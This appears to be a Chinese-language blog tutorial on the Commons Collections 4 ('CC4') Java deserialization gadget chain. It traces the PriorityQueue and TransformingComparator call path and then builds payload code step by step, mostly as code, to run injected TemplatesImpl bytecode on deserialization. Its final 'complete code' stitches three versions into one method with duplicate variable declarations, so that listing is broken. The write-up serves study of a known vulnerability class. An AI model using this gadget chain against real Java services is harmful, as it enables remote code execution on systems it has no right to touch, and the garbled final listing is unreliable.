CC4
第一步:分析鏈
在TransformingComparator
這個類中的compare()
方法呼叫了 transform()
方法。而 compare()
這個方法也是我們比較喜歡的這種,因為它非常常見。
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
找下一個呼叫compare()
的地方,在PriorityQueue
的siftDownUsingComparator
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
找誰呼叫了siftDownUsingComparator()
,在這個類的siftDown()
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
找誰呼叫了siftDown()
,在這個類的heapify
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
heapify()
在readobject()
裡面
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
第二步
直接寫程式碼
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");
但是發現什麼也有沒有發生,除錯一下,在readobject
下個斷點
發現問題出在heapify()
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
這個size沒有賦值,為0,然後size >>> 1後也為0,我們要給他賦值。
value >>> num -- num 指定要移位值 value 移動的位數
要修改 Size,必然要先明白 Size 是什麼,Size 就是 PriorityQueue 這個佇列的長度,簡單理解,就是陣列的長度。現在我們這個陣列的長度為 0,0 - 1 = -1,所以會直接跳出迴圈,不能彈計算器。
priorityQueue.add(1); priorityQueue.add(2);
這樣就可以讓他成功執行,我們試試
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
第三步
雖然可以成功彈計算器,但是現在我們寫的這個 EXP 還是會報錯的,報錯原因如下:
在我們進行 priorityQueue.add(1) 這個語句的時候,它內部會自動進行 compare() 方法的執行,然後呼叫 transform(),現在的這種情況就意味著,我還沒有開始序列化與反序列化,程式碼就跳到彈計算器那裡去了
我們來解析一下:
add()函式
public boolean add(E e) {
return offer(e);
}
然後進入offer()
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}
因為e不為null,i不為0,進入siftUP()
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
comparator不為null,進入siftUpUsingComparator(k, x)
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
呼叫compare
,成功執行,所以我們要避免這種情況
第四步
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
將其中的一個引數修改,可以先讓 transformingComparator 的值成為一個無關的物件,在 add 完之後再用反射修改。
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);
修改完的程式碼
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
完整程式碼
public class cc4 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");//第一步
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer,null);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);//第二步
TemplatesImpl templates = new TemplatesImpl();
Class tc = TemplatesImpl.class;
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\gbz\\Desktop\\學習資料\\java\\java反序列化\\Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections4.functors.ConstantTransformer(TrAXFilter.class), // 構造 setValue 的可控引數
new org.apache.commons.collections4.functors.InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
ois.close();
return obj;
}
}